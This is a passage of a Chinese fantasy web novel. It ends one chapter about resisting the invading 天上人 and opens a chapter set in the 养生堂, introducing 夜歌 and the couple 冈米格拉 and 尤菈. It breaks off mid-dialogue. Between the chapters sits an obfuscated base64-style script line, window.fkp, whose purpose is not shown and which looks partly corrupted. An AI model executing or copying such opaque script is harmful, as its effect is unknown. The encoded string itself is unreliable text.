“为了振兴天上人一族,天上人们制定了一系列的侵略计划。他们准备离开天之乡,通过多种途径去征服我们的世界。在征服了这个世界之后,他们想建立起一个属于天上人的时代,让所有生灵都在中央集权下生活。但失去了大多力量与珍重之物的他们是难以完成这个野心勃勃的计划的,所以天上人就将目光放在了那些强大的神器身上。其中就包括了那把‘文明方舟·黎明’。” 伊: “所以说......他们是入侵者!” 陌: “没错,伊。” 伊: “不行!我绝对不能让他们实现这个目的。这个世界的自由属于这里的人民,而非那些高高在上的掌权者。那所谓的天上人时代,决不能被建立起来!” 陌: “既然你都这么说了,那诸多疑问都可以迎来答案了。” 伊: “我要拿到圣剑文明方舟·黎明,我决不能让他们在我们的土地上为非作歹。陌,我愿意与你同行,我愿成为那圣君仁华。” 陌笑笑,对伊伸出手来,说: “为了我们共同热爱的世界。” 伊握住陌的手,神色坚定地说: “为了我们共同热爱的世界。” 陌松开伊的手,紧接着问出了一个特殊的问题。 陌好奇地问: “伊,请问一下你不是死灵术士,为何要携带灵体呢?” 伊疑惑地答: “携带灵体?没有呀。” 陌看向伊的身后,好奇地问: “可我看到了一个幽灵在跟着你呀。” 伊转头看向身后,什么也没看到。转过头来,伊问陌: “哪里有幽灵呀?” 陌打了个响指,点燃了桌子上的烛台。一团惨白色的灵火燃起,顿时间屋内笼罩起一层白光。这时伊再转头,果真看到了一个幽灵。在看清那幽灵的模样时,伊瞪大双眼,惊呼道: “卡娜铃兰?!!你怎么在这里?” 听到伊叫自己,卡娜铃兰惭愧地低下了头,一声不吭。在一旁的陌见了,不急不慢地喝了口茶。放下茶杯,陌告诉伊: “你身上携带的器物具备蕴灵的能力,所以你才带着这个幽灵妹子到处乱走。看你这表情,我还以为你和我一样是个死灵术士呢,结果你也不知道她的存在。” 伊看着卡娜铃兰,好奇地问: “卡娜铃兰,你为何要这样做呢?” 卡娜铃兰慢慢抬起头来,满脸愧意之下顺着眼神流露出坚毅的决心。卡娜铃兰委婉地告诉伊: “十分抱歉,伊。我骗了你。其实......” 伊伸出手,露出和善的笑容,说: “早说呀!你要想跟我一起去见你丈夫,我帮你呀。弄得那么隐晦,好像要给我惊喜似的。” 卡娜铃兰感动地露出笑容,她被伊的这份真情所打动。 卡娜铃兰: “谢谢你,伊。你知道这是谎言,却还这样真情待我。我真觉得惭愧至极!十分抱歉,我不该撒谎骗你的。” 伊: “没关系的。你也是为了爱而如此,我何必在乎这小小的谎言呢。更何况我们还要携手去找你丈夫呢,不是吗?” 卡娜铃兰: “伊......你真让我感动。在这人世间能遇到像你这样善良的人,真是我这辈子最大的福气。” 伊: “没有啦。比起你的故事而言,我这又算得了什么呢。” 卡娜铃兰: “你太过谦虚了,伊。” 这时,陌开口打断了伊和卡娜铃兰的对话。 陌: “看来你们两个是认识。哈,既然认识那就好说话了。” 伊: “陌,你要说些什么?” 陌: “这魂体的状态很不好,灵魂裸露在外会加快灵魂崩解的速度。” 卡娜铃兰和伊: “那怎么办?” 陌: “女士们不必如此。我有一计......” 一段时间后...... 在陌和老骨的好一通忙活之下,一个精美且娇小的天使娃娃被制作了出来。陌对这个娃娃使用了许多死灵法术,顿时间只见得五彩缤纷的闪光。闪光之后,灵魂注入这个娃娃,这娃娃被赋予了生命。做完这些,陌又使用死灵法术,为这个娃娃附魔注能。在这之后,这娃娃就能动弹了。同时,陌还为这个娃娃取了个名字,叫“铃兰花”。 做完这些,陌神打了打身上的尘土,插起腰来神气地对伊说: “看,多完美的灵魂容器啊!样子萌萌的不说,造型设计的也是一流。老式怕寒型魔女风的天使娃娃,多是人间不可多得的宝贝呀。——你说是吗?伊。” 伊点了点头,说: “确实。——要是再能多加个蝴蝶结就好了,那样应该会更好看些。” 娃娃铃兰花动了动自己的四肢,又扇了扇背后那一对小巧的天使之翼。 铃兰花(卡娜铃兰): “重新获得身体的感觉......是这样的美妙。不过失去了熟悉的温暖与心跳,倒还有些不适应呢。” 陌: “卡纳妹子,获得新身体的感觉怎样啊?” 铃兰花: “我觉得还可以。不过没有触觉与嗅觉之类的,倒觉得有些不适应呢。” 陌: “莫得问题。过了一段时间你都能克服的。只可惜我的死灵术和傀儡术结合的还不算太好,你能看能听都是莫大的万幸了。” 铃兰花: “这我就知足了。只要能让我与伊一起寻找我的丈夫,就是我什么也感受不到我也愿意。” 陌: “值得赞颂的爱意。” 陌转头看向伊,并将一个白银戒指交给了伊。 陌: “将这个戒指戴在右手大拇指上,你将与铃兰花建立连接。到时候你只需要用右手吹个口哨,铃兰花就会出现在你身旁。若是再吹一遍,铃兰花就会贴在你的背上,进入类似休眠的模式。——不必担心铃兰花的耐久问题,我为它储存的那些魔法能量能让它在诸多情况下自愈。” 伊: “真是劳烦你了,陌。” 铃兰花: “万分感谢你!!!陌先生。” 陌: “都是小事。毕竟送人玫瑰手留余香吗。” 突然,陌感觉到了什么。陌对一旁伸出手,施展法术在地板上生成黑色传送门。这时,一个身披黑衣的骷髅人从传送门中冒出,紧接着小咒刀也冒了出来。见到他们两个到来,陌一脸欣喜地说: “银骨大爷,戊赦天,我可等你们半天了。” 那个身披黑衣的骷髅人撩开头上垂下的布条,露出他狰狞而又帅气的骷髅脸。见到他面容的瞬间,伊被吓了一大跳,顿时间身上鸡皮疙瘩骤起。虽之前见识过同为骷髅的不死耶稣,但见到他的时候仍能感觉恐惧,似乎是他身上正源源不断地散发着骇人的气息。 银骨剑圣·姜北谷子: “抱歉,我的主人。跟戊赦天殿下聊天浪费了点时间。” 陌: “不必叫我主人,银骨大爷。你在战力与学识等多方面都是我的长辈,我该称呼你为大爷。” 姜北谷子: “我的主人,你打破时间与死亡的屏障,将本该死去的我救回。叫你主人,是我对你最大的尊敬。” 陌: “你还是叫我小陌吧,银骨大爷。” 姜北谷子: “既然主人这样谦虚,那我便改口叫您小陌了。” 这时,小咒刀插话了。 小咒刀: “喂!你们是不是把我给忘了?” 姜北谷子: “呀,把殿下您给忘了。罪过,罪过。” 小咒刀: “哼,这还差不多。” 陌: “哦~~~!想不到传说中的渎神者戊赦天的灵魂经被囚禁在这样的一把沾满亵渎色彩与诅咒剑中。哈,真是符合殿下您的人设与作风呢。” 小咒刀: “你是谁?快!报上名来。” 伊从恐惧之中抽身,看着小咒刀急忙说道: “小咒刀!你怎么来了?” 听到伊在叫自己,小咒刀转了下身,看到了一旁的伊。见到伊时他惊喜万分,顾不得陌他们就直接冲了上去。小咒刀一下子凑到伊的身旁,似卫星一样环绕起伊来。伊见小咒刀如此激动,高兴地笑了笑。 小咒刀: “主人,主人~~~,你怎么在这里呀?” 伊: “说来话长......” 一旁的银骨剑圣见了,把头凑到陌耳边,小声问陌: “根据我对殿下的了解,殿下是不是......” 陌摇摇头,小声告诉银骨剑圣: “殿下的身体都没了,现在又附身在剑上,我只能说是无稽之谈。” 银骨剑圣小声吐槽道: “都这么多年了,殿下还如当年一样啊。那种阴阳怪气的说话风格和那颗迷恋美色的心,都还是老样子。” 陌轻轻点了点头,小声说: “那的确。——作为殿下的血脉亲传,虽祖上没有正名,但也是皇家血脉。你懂我意思吧,银骨大爷。” 银骨剑圣点点头。陌见了,也点点头。银骨剑圣后撤一步与陌拉开距离,装作无事发生的样子。看着小咒刀在伊身旁快乐转圈圈的样子,陌忍不住发笑,一旁的不死耶稣也跟着发笑。陌很快把笑容憋了回去,然后开口说道: “戊殿下,我们该说正事了。” 小咒刀一个急刹车停下,结束匀速圆周运动。小咒刀转身看向陌,问道: “你一说我才想起来。——对了,你叫啥名字来着?” 陌回答: “我叫陌。” “哦,陌啊。mua。” “???” “我说,陌,你将我送到此地有何目的呢?” “我将你送到此地是为了让你协助我们打开圣殿大门。你作为神匠所铸造的神兵,本身是强大力量的象征。圣殿被最初圣君仁华加上了一层力量封印,只有足够强大且意志坚定的人才能打破那层封印。因而圣殿的大门需要一张‘通行证’,而你就是那张‘通行证’。” “哦!原来我这么厉害的吗?” “殿下,您原来还是人类的时候,您比这更厉害。您曾杀死过半神、也曾击伤过巨兽、甚至许多强大的仙人也败在你的手下。不过那些东西您都遗忘了,属实是让您的后人我觉得可惜。” “嗯......嗯?嗯......我明白了,你是想抱大腿是不是?想捧杀我是不是?哼,本大爷才不会接受这些虚假的东西呢。” “您误会了,殿下。就是要抱大腿,也是伊去抱啊。毕竟她是要成为圣君仁华的人,而我就是个辅佐啊。” “啊......是这样吗?那我多想了。既然是主人的事,那我定得给它办个妥当!谁叫她是我的主人呢。” 与小咒刀的交谈过后,陌告知了伊和小咒刀很多重要的信息。这些信息反应现在的实时局势,还有那黑暗中虎视眈眈的天上人势力的野心。听完这些的小咒刀,也表示不会让天上人得逞。从思想上,陌他们打成了共识。 之后,陌和伊他们踏上前往旅程,乘船向着禁域进发。等待他们的是未知,还有破涛汹涌的海浪。不知他们何时能见到那溟迷灯塔,更不知所谓禁域与圣殿究竟是怎种模样。载着希望的小船在波澜壮阔的大海中前行,航路漫漫不见终点如何,天有群星指路毋需担心迷路。风推波助澜,护送小船驶向远方。 前方一切皆是未知,但其中不乏新奇与惊喜。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第四话:养生堂 通历43年8月28日上午,在巨星城郊区云仙山上的养生堂内,来了两位应邀而来的客人。在柜台经理与员工的指引下,这两位客人来到养生堂的内阁,觐见堂主夜歌。所谓内阁,就是一个八边形的大中药房,药房中心的地板上纹有太极八卦阵;药房的四角还放着展柜,展柜内尽是些玲琅美玉。迎门看去,能见得一副巨大的山水画,山水画上描绘了波澜壮阔的江山。 夜歌就站在山水画前,背着手抬首仰望着那副画。听到后方的门打开的那一声吱嘎,夜歌缓缓转过身去,看向那两位来宾。正巧面面相对,两方就都打量了彼此一番。 他身着一身洁白如雪的修道服,外面披着同样洁白的带帽斗篷,有着莫名的帅气。他修道服的样式非常独特,胸前有三个金色圆形图案,呈上二下一倒三角之势排列;每个金色圆形图案上有着微微的刻痕,刻痕从图案中心向外以圆环样式扩散,一层套一层的,数来足足有六环。这三个图案看起来像三只发着金光的眼睛,无神中又有神。 他有着一头黑色的短发、黄皮肤,平凡的五官与别致的褐色双眸,促成他的朴实无华的面容。手臂上的疤痕显赫,脸上的刀疤暗淡,那是属于他的勋章。头戴兜帽,赤脚而行,似刺客,又似剑客,光与暗的界限难以分辨。一脸庄严的表情,无不透露着他的威严;一对犀利的眼睛,似乎能看穿无数重谎言;一身帅气的着装,稍显沧桑。这就是夜歌。 打量完两人,夜歌露出微笑,和善地说: “殇,邵铁华,我已恭候多时了。相见即是我们的缘分,希望我们能成为道路上的朋友。” 说完,夜歌走向了二人。走到离二人还有三步之远时,夜歌停下,而后露出笑面,与二人交谈。 夜歌: “欢迎你们来到养生堂。我是在任堂主夜歌,欢迎你们常来我这里调养。” 殇: “可以,有你这话准了。” 邵铁华: “你好,仁兄。” 夜歌: “殇,客套话说到此处。我叫你们来这里,是有重要的事。——你们昨日遭到天上人派来的使徒刺杀,但因你们的强大而将对方全数打败。” 殇和邵铁华: “你怎么知道?!” 夜歌: “我有强大的后勤,绝大部分情报我都可以弄得到。而且......就连伊被陌带走一事我也知道。” 殇: “卧槽!神了。” 邵铁华: “夜歌,你真牛!” 夜歌: “我想帮助你们,因而我叫你们来到这里。天上人的刺客无法追查到这里,即使来了也没法在我的地盘里撒野。你们要是想的话,可以来养生堂生活一阵子,不过需要帮我干点活。” 殇: “这主意不错。——可你为啥要帮我们呢?” 夜歌: “总结下来就两个词,‘殿下’,‘希望’。” 殇: “你这这么说我可就明白了。那我们就是朋友了!” 夜歌: “我的荣幸。” 邵铁华: “等等,等等!你们在说些什么?是不是在对什么暗号?” 殇: “这个吗......我找时间再跟你解释吧。” 邵铁华: “怪内!” 这时,殇突然想起了罗密欧的妻子安娜,紧接着就想起了凝霜症。一想到凝霜症,殇的脑中就不禁泛起了疑问。 殇: “对了,夜歌。你知道凝霜症是个什么样的病吗?” 夜歌: “这个我知道点。凝霜症是魔法病,是冰魔法导致的。且据我所知,能导致这种级别的魔法病的人只有一个——大魔法师沙耶罗,大名鼎鼎的寒之棋。” 殇: “寒之棋?这跟鸿之棋有关系吗?” 夜歌: “有,而且关系很大。——他们都是棋,都是人间的守望者。” 殇: “守望者......这个词我有点印象。——等下,我们先别说这个。你能告诉我怎么解决凝霜症这一问题吗?除了用炎冰以外。” 夜歌: “炎冰?殇,炎冰只能缓解凝霜症的并发症,不能治愈这种疾病。想要治好凝霜症,需要从根本上解决问题——击败寒之棋沙耶罗。” 殇: “那我该怎么做?” 夜歌: “什么也不做。” 殇: “啊?” 夜歌: “时候到了,你自然有机会的。” 殇: “这也不尝是一种办法。” 邵铁华: “哎呀,你们到底在说些什么,我怎么一句都听不明白?什么是凝霜症?什么是寒之棋?” 夜歌: “不急,待我留你们吃过午茶,我定会向你讲述这其中的由来。” 邵铁华: “好的。” 这时,殇想到了一个至关重要的问题。 殇: “夜歌,你知道天上人为啥要来杀我吗?” 夜歌: “因为你曾是那个万人之上的王,是各种意义上都能击溃天上人的人。当初你打败了殖民者,现在你若重回肉身再为王,也定会将他们同那殖民者一样打败。” 邵铁华: “等等......听你这么说,殇!莫非你是?!” 殇: “是但不完全是,我现在只是个寄宿在他人尸骸上的核心。” 邵铁华: “哎呀呀!你怎么不早说。诶呦,想不到能在这里见到你呀。偶像!快,给我签个名。” 邵铁华摸了摸身上,紧接着拿出随身携带的钢笔。她将笔交到殇的手里,殇接过笔,一脸疑惑地看着她。她将右手袖子伸出,并十分期待地对殇说: “偶像,在我的袖子上签个字。” 殇照做了。殇签完自己的名字后,邵铁华在一旁高兴地欢呼。 “太好了!这衣服我要珍藏起来,当做纪念。我要好好爱护这身衣服,嗯,一定用心去爱护。” 邵铁华像是如获至宝一样,在一旁满心欢喜地凝视自己的袖子上的那个殇字。那个殇字虽然不标准也不好看,但对于邵铁华来说就是最漂亮的字,因为那可是她偶像写下的字。 给邵铁华签完名,殇继续跟夜歌交谈。 殇: “天上人的目的究竟是什么?” 夜歌: “侵略整个世界,消灭一切阻止他们的势力,创造属于天上人的时代。若要达成这个目的,免不了一阵腥风血雨。” 殇: “那可不行!即便我失去肉身,无冕而存,我也绝不允许那些人戕害我的人民。只要我还没魂飞魄散,我就不允许任何人或集体来祸害这个世界!” 夜歌: “我也同殿下您一样,绝不允许这种事情发生。毕竟我也同殿下您一样,心念土地与人民。” 殇: “那些天上人现在在哪里?” 夜歌: “不必着急,殿下。现在时候未到,等时机成熟,殿下您自然能一举击溃天上人的主锋。” 殇: “好吧。看来此事还得从长计议啊。” 这时,突然有人敲门。咚咚咚,声音很轻。夜歌听声,立马猜出了敲门者是谁,于是他冲门那边说道: “尤菈,稍等片刻。我在接待客人,一会再给你讲课。” 敲门声戛然而止。夜歌看了看门上挂着的钟,又在心里盘算了下时间,接着对殇和邵铁华说: “快误了学徒的课了。现在就先说这些吧。——若二位想继续找我了解更多消息,可以在下午时分来此处找我。” 殇和邵铁华: “行。” 说完,夜歌、殇和邵铁华三人离开内阁,各去做各的事了。 邵铁华今天预约了委托,只是在养生堂内走了一小圈就先行告退,回城里处理预约去了。毕竟身为中阶四星调解人,委托之类的事情常有,而且一来就至少是小半天功夫。顺带这次回去邵铁华也能回去陪陪她老婆甘霖饶,两人能增进增进些感情。 殇今天闲来无事,于是就在养生堂里转了好一圈。他在养生堂内见识到了许多不错的景色,大多是太玄-龙式风格的,其中包括一竹一草一花一木,还有假山、练功场、静心堂与磨药的药坊等别具风格的建筑。不仅如此,殇还见识到养生堂内各种各样的职员、老师还有学徒,总结下来,这里的人都不浮躁。 转完这一大圈,殇去饮茶的饮食厅内花钱买了杯热茶,在饮食厅内偏僻的一角坐下饮茶。饮茶之时,殇注意到坐在自己右手边第二个座位处的黑发男子与正常男子有些不大一样。那名男子的锁骨附近的皮肤漆黑一片,看起来压根就不像是正常人该具备的特征。那种黑如虚空一般,一眼看过去只有无尽的黑暗。 殇有些好奇,就拿着热茶做到了那名男子的对面,与他交谈起来。 殇: “兄弟,你也是来这里喝茶的?” 那名男子那时正在看手机,听到殇叫自己,很有礼貌地把手机收好,立立整整地坐起,态度十分端正。那名男子笑面而谈,说: “不,老哥。我是来这里等我伴侣的下课的。顺带,就在这里买点茶吃。” 殇摸着下巴打量了对方一番。黑西装,黑领带,白衬衫,一副标准上班族的样子。黑头发,白皮肤,黑眼仁,在平凡不过的青春男子模样。从对方的举止上来看,对方是个经过良好教育的人。 殇: “哦。看来夜歌那时候说的课程,就是给你的伴侣上的。——那么你的伴侣是叫尤菈吗?” 那名男子一听殇这么说,表现出有些激动的样子。那名男子问殇: “你认识夜老师吗?能告诉我夜老师是怎么样的人吗?” 殇思考片刻,委婉地说: “我对夜歌的理解还只是片面,我目前的评价只有很不错三个字。” 那名男子有些失望,但脸上的笑面依旧。 殇: “对了,你叫什么名字?” “我叫冈米格拉。” 那名男子干脆利落地回答。殇一听这名字,摸着下巴点了点头。殇拿起茶杯喝了口茶,接后评价道: “冈米格拉,尤菈,都是好名字。” 冈米格拉听了,微笑着说: “谢谢夸奖。” 殇思索了片刻,然后问冈米格拉: “那我以后叫你冈子可以不?” 冈米格拉听了,思索片刻,说: “可以。但前提你得是我的朋友,不然这就算是对我的一种侮辱。” 殇笑笑,说: “好。我也正有此意。冈子,你这朋友我今天交了。” 冈米格拉点点头,说: “行。——那请问你叫什么名字呢?” 殇回答道: “我叫殇。” 冈米格拉微笑着说: “好霸气的名字。” 殇笑笑,说: “彼此彼此吧。” 冈米格拉笑笑,说: “客气了,殇。” 这时,殇想起了之前的那个问题。 殇: “对了,冈子。你胸前那块黑是怎么回事?” 冈米格拉: “你说那个呀,那是我天生的。” “天生的?” “你有所不知吧,我是虚空III族的族人。我们一族生下来就有这些虚空皮肤组织,这是我们一族的标志。” “虚空族?能向我介绍介绍吗?” “当然可以。——我们虚空一族诞生于几千年前的一次意外。那时候,我们的先祖召唤出了古州之子、小神‘虚空利维坦’,本想着用虚空的力量办一些坏事,结果没想到......” “没想到什么?” “虚空利维坦先是吃掉了我们先祖中的一人,后来又把那人吐了出来,据说是嫌乎我们人类太脏。那时也不知为何,我们先祖中的一人主动去拥抱虚空利维坦,说是什么神圣的仪式。结果吧,那种姿势是虚空利维坦中的求偶姿势,那时还正赶上虚空利维坦处于发情期......” “所以说......你们一族就这么诞生了?” “嗯。长辈们说是这样的。” “那所谓的生殖隔离去哪里了?这不科学啊!” “这种事情上讲不了科学的。” “那你们一族有啥特点吗?” “有。第一,我们一族数量很少,全世界也好像就一千来人。第二,我们一族分三个分族,分别是虚空一二三族;这三个族的差异就是全身虚空化的程度,虚空I族是全身虚空化,就比如银幻之梦的妹妹;虚空III族就是小部分虚空化,就如我一样。第三,我们一族可以通过吸收常人看不见的虚空能量进行成长,甚至可以依靠虚空的力量治愈自己的伤口。” “那你们这一族也挺厉害的。” “那可不是。有很多人都羡慕我们一族的能力呢。” “哦,对了。你说尤菈是你的伴侣是吗?那你跟我说说你和她是怎么认识的。这么问好像有些冒昧。” “没事,既然你选择了我作为朋友,那我告诉你也无妨。” “等等,你就不怕我骗你吗?” “嗯?我相信你不会骗我的,我从你的眼眸中看到了我能信任的、坚毅的灵魂。这个世界好人多,骗人的家伙少之又少。我想,你就是好人中的一个,一定的。” “这样啊......那我定不会让你失望。” “我的朋友还没有多到能出现骗子的地步,你不必如此。说实话,你是我这辈子交到的第五个朋友。” “啊?这怎么回事呢?” “我这个比较内向,一向不和集体,交的朋友也少。再加上我干什么都是平凡不惹人注意,又没什么才华。从未被真心表扬,少有些批评。所以说,我的朋友才如此的少。” “哎......原来是这样啊。” “但直到我遇见了尤菈,我命中注定的伴侣,我才变得有些外向。” 说出这句话的时候,他的眼里有光。见到他眼中的这缕光,殇感觉到了他眼中那真情的细腻、质朴。冈米格拉继续说: “我非常感谢上天能将尤菈带到我的身边,让我的一生多了一道耀眼的光。——殇,那种感觉你知道吗?就是看着心爱之人的时候,彼此眼眸中都有星光与温柔的影子,仿佛又在心上下了场小雨,我和她在雨中,共同撑着一个小伞。那种感觉是心动,不,是心定。” 殇敏锐的目光注意到夜歌和一个金发姑娘站在茶亭门口,正注视着他们二人。其中那金发姑娘的眼神尤其特殊。殇能猜到,那金发姑娘正是尤菈。尤菈这时的脸上泛起红晕,是青春的色彩渲染出的,它正迸发着独特的绚烂呢。想必她这时一定尝尽了羞涩的滋味吧。 殇对冈米格拉使了个眼色,冈米格拉没看出来,还自顾自地说着。 冈米格拉: “要不是因为她,我还是那个内向而又不惹人注意的尘埃呢。自从认识了她,我才知晓了生活的美好。以前那种默默的生活,我真的不愿去回味。” 这时,尤菈踮起脚来慢慢地向两人走来,她的脸上有着一抹笑容。她走来时对殇做了个手势,让殇别说话。殇照做了,装作无事发生,在冈米格拉身旁倾听着,但余光始终放在尤菈身上。 冈米格拉: “接近尤菈是我这辈子走出最勇敢的一步。接受她闯入我的生活是我这辈子做的最正确的决定。她是正义执行者,我以为她很高冷,但真等我去了解她的时候,我才发现她是个温柔又和善的姑娘,她接受了平凡如尘埃的我。” “嗯。说的很不错呢,冈米格拉。又在别人面前偷偷评价我,真是讨厌呢。不过你嘴倒是挺甜的,这次就放过你了。下次别再这样了,可以吗?” 尤菈在冈米格拉身后轻声说道。冈米格拉顿了一下,然后似木偶般将头慢慢转向身后。在见到尤菈的那张笑脸后,冈米格拉没有丝毫尴尬的样子,仿佛这种事他经历了很多遍,已是习以为常。 冈米格拉关心地问: “课上的怎么样?尤菈。” 尤菈走到冈米格拉旁边的椅子上,显露出优雅的样子,如淑女般缓缓坐下。尤菈微笑着回答道: “好极了。夜老师又教会了我很多东西,我掌握到新的知识了呢。” 冈米格拉笑呵呵地说: “那挺好的。” 这时,尤菈看向殇,她的眼神瞬间变得犀利起来,似乎下一刻她就要发动进攻。但尤菈仍很礼貌地问冈米格拉: “请问,这位是?” 冈米格拉笑笑,解释道: “他是殇,是我结识的哥们。” 尤菈撅了撅嘴,问: “他值得你信任吗?” 冈米格拉坚定地说: “值得!我相信他是善良的,他刚刚像个知己一样倾听我的话语。” 尤菈露出一抹微笑,说: “那就好。但你以后交朋友还是要小心点,谨慎为好,不然遇到了图谋不轨的人,怕是会惹祸上身啊。” 冈米格拉点点头,说: “嗯。我会注意的。” 殇打量了尤菈一番。白色衬衫,淡蓝色带格中分裙,白色高筒袜配黑色鞋,一副标准的女士夏日着装。金色长发系马尾,白色皮肤,蓝眼仁,稍有些动人的年轻姑娘的模样。 殇: “这就是你的伴侣尤菈?看着挺美丽动人的,举止也挺优雅,不知人品涵养如何。总之,这算是你小子的一种福气,冈子。” 尤菈: “不许你这么称呼冈米格拉,这种行为非常不礼貌。” 冈米格拉: “尤菈,不必在乎这些,他喜欢这么叫就这么叫吧,他又没带着恶意。” 尤菈: “可是......冈子这名,太土了,跟你不搭啊。” 冈米格拉: “没关系,雅俗共赏,俗点也没事。只要人与人之间能和谐友爱,何必在意叫法如何呢?只要对方没有恶意,都一样的。” 尤菈: “嗯......冈米格拉,那我以后叫你冈子行不行?” 冈米格拉: “可以呀。” 尤菈: “哼,就知道你会这么说。我是不会叫的,我只叫你的本名。” 冈米格拉: “你怎么叫着顺口就怎么来。” 尤菈: “对了,冈米格拉。一会我们去吃些什么呀?” 冈米格拉: “你想吃什么呀?” 尤菈: “我想吃川菜。” 冈米格拉: “行啊,我们现在就去。” 尤菈: “等等,冈米格拉,别那么急。——先声明一下,这次我请吧。前五次都你请的,我总共就请了你一次,这样挺不好的,消费负担不能都压在你身上啊。” 冈米格拉: “不,这次还是我来吧。” 尤菈: “不要。” 冈米格拉: “好吧,那就你说了算,你来决定。” 尤菈: “好的呢。” 殇: “额......看你俩关系这么和睦,我倒也放心了。” 尤菈: “为什么呢?” 殇: “朋友的事既然是好的,那我为啥不能感觉快乐吗?难道都要像心胸狭隘之人那样,看不得别人好吗?” 尤菈: “说的有理。我越来越觉得冈米格拉交你这个朋友是交对了。” 殇: “都一样的,都一样的。” 这时,尤菈起身,拍了拍冈米格拉的肩膀。冈米格拉看了尤菈一眼,露出一抹微笑,然后跟着起身。尤菈对冈米格拉笑了笑,又对殇笑了笑。 尤菈: “走,冈米格拉,我们上街溜溜去。” 冈米格拉: “好嘞。” 尤菈和冈米格拉结伴走向饮食厅门口。在她们走到门口时,尤菈和冈米格拉停步,然后一起露出笑容,笑着挥手向殇道别。殇也对她们挥挥手,与之告别。告别之时,冈米格拉有些委婉地对殇说: “殇,等以后有时间了,我再跟你说我们之间的故事。” 殇笑着回应: “可以。我还在这里等你。” 冈米格拉点点头,说: “好的。那么日后再见喽,殇。” 殇回应道: “日后再见,冈子。” 告别过后,尤菈和冈米格拉结伴离开养生堂,去巨星城的街上溜达。看着两人离去时的背影,殇又不禁回想起自己青春时的回忆。 这样的背影他见到过许多,最后能到白头黄昏时的却只有零星几个。他曾目睹过不计其数的人间悲剧,也曾是那惨剧中的主角。命运残酷,现实无情,殇只得在心里默默祈祷,愿天下人终成眷属。 殇心里: “希望这对伴侣能走到最后吧。但愿惨剧的黑手能与他们毫无交集,毕竟惨剧真的太多、太多了,也该留给我们些喜剧了。” 这时,夜歌坐在冈子原来坐的位置上,跟殇聊起了这对他所熟识的情侣。谈话之中,殇逐步了解到了他们各自的身份和故事。 尤菈,隶属于正义执行者组织,是光荣的正义执行者。正义执行者组织负责处理城市里的罪人,抓捕、击杀、调查都是他们分内的工作。同时他们还要时不时协同UppF处理各种事件,可谓是一个很忙碌的组织。在这个组织之中的尤菈,几乎每日都处在忙碌之中,只有偶尔的闲暇时光才能离开组织一会,去城中休闲个半天、小半天的。就是在那偶尔的休闲之中,尤菈结识了冈米格拉。 尤菈本身是仿生人,她具备人类的外表但不是人类。仿生人一族都是这样的,长相与人类无异,但从根本上不是人类。仿生人都诞生于“巢”,是基因生物工程与赛博工业的产物,虽有自主意识,但根本性质还同机械一样。仿生人一族的存续取决于创造他们的人类,因而他们的生活被牢牢限制在了规矩之内。再加之仿生人不具备产生后代的能力,仿生人一族终究只是规矩内的执行者。 尤菈与生俱来的战斗能力让她能在与罪犯的战斗中显得游刃有余,她生来就是战士,程序里设定好的。尤菈是仿生人的身份让她在与人类的交往之中永远处于自卑的状态,在这样状态的促使下她逐渐对人类冷漠,而对自己的同类则是饱含热情与激情,她生来就觉得自己卑微,这也是程序里设定好的。 但所有人类之中只有一个人是例外,那就是冈米格拉。 冈米格拉,隶属于光锥传媒文化有限公司,是一个普普通通的员工,可以被旁人成为社畜的那种。他每月的工资只有890,月月还要上125的税;他住着租来的小公寓,每天坐公交车上下班,是个不富裕又平凡的年轻人。他在日常的人际交往之中显得内向,不善与人交往,再加之有种性格里的软弱,他总是不被选中,总是平凡着又难以上进。在这种环境下的冈米格拉,就只能跟自己关系好的兄弟、表妹亲近亲近,其他人他难以启齿,更不敢去索求对方的关注。在偶然的一个夜晚,他在电视中见到了尤菈,随后对尤菈一见钟情。 冈米格拉是尤菈273个粉丝中的一个,同时也是尤菈的狂热粉丝。在一次偶然之中,他与尤菈面对面相见了。这次他不同往日的软弱,选择主动接近了尤菈。就他的是这一次的勇敢,打开了两人故事的篇章。那是冈米格拉第一次的勇敢,也是他闯入尤菈生活的方式。 冈米格拉曾向尤菈表白,但一开始尤菈委婉地拒绝了。因为尤菈对人类保持冷漠的态度,而她自己心里也自发觉得配不上冈子。仿生人毕竟不是人类,相爱也只是浪费彼此的生命。 可冈米格拉不在乎。 直到冈米格拉在她面前说出了心里的真心话,尤菈被深深震撼到,之后她才接受了这份心意,并于感动中收获了冈米格拉这个伴侣。 “我向你表白不是为了索求我们之间的关系,我只是想向你表明我的心意!我喜欢你,我想给予你温暖与真挚的爱,尽管我可能比较‘贫穷’。我想把喜欢变成爱,我希望我给予你的每样东西都是纯洁美好的。” “若你厌恶这些,我们的生活还能照旧,就当一切没有发生。若你想,我怎么闯入你的生活,我就怎么离开你的生活。若我的行为伤害到了你,那我在此向你道歉;若需赔偿,我定会给你的。” 直到现在,冈米格拉和尤菈已经共同度过了一年多的时光。这期间两人从未有过一刻的暧昧,他们舍弃了那些本能所带来的行为。冈米格拉和尤菈与众不同,他们就像是两位智者。他们选择彼此促进、期望彼此成长的生活,在尊重与呵护的前提下维护这份来之不易的情感。 冈米格拉原本是个内向又软弱的人,直到遇到了尤菈。 讲完了这些,殇和夜歌都是两杯热茶下肚。听完夜歌对他们的介绍,这勾起了殇的又一种好奇。“夜歌的过去是什么样的?”殇很好奇这个问题。但在问出这个问题之前,殇先对这两人好好评价一番。 殇: “他们这属实是刷新了我对这个世界的理解,上限又被突破了。” 夜歌: “我同你的感觉一样。觉得挺不可思议的,但那的确是现实。” 殇: “真是一代比一代强啊,我们那一代都没见到过这样的事,听都没听过。” 夜歌: “无他别语,只有奇迹。” 殇: “净说那文词。” 夜歌: “有一点很可惜。” 殇: “什么?” 夜歌: “尤菈的人格模块存在缺陷,这个模块的缺失可能会导致很多问题。尤菈也是佩戴核心的核心使者,她也可能会出现核心暴走的情况。而且她的人格模块会影响她的行为,还关乎她的生命。” 殇: “所以说?” 夜歌: “尤菈这孩子一有时间就来我这里听我讲课,我的课程能帮她静心,还能帮她疏导心中的堵塞。可那终究只是缓解之策,本质上的问题无法改变。——她终究得活在规则之中,否则就是死路一条。人格模块是悬在她头上的闸刀,若她放手就是末路,只有被束缚着才能存活。” 殇: “啊?这么狠?” 夜歌: 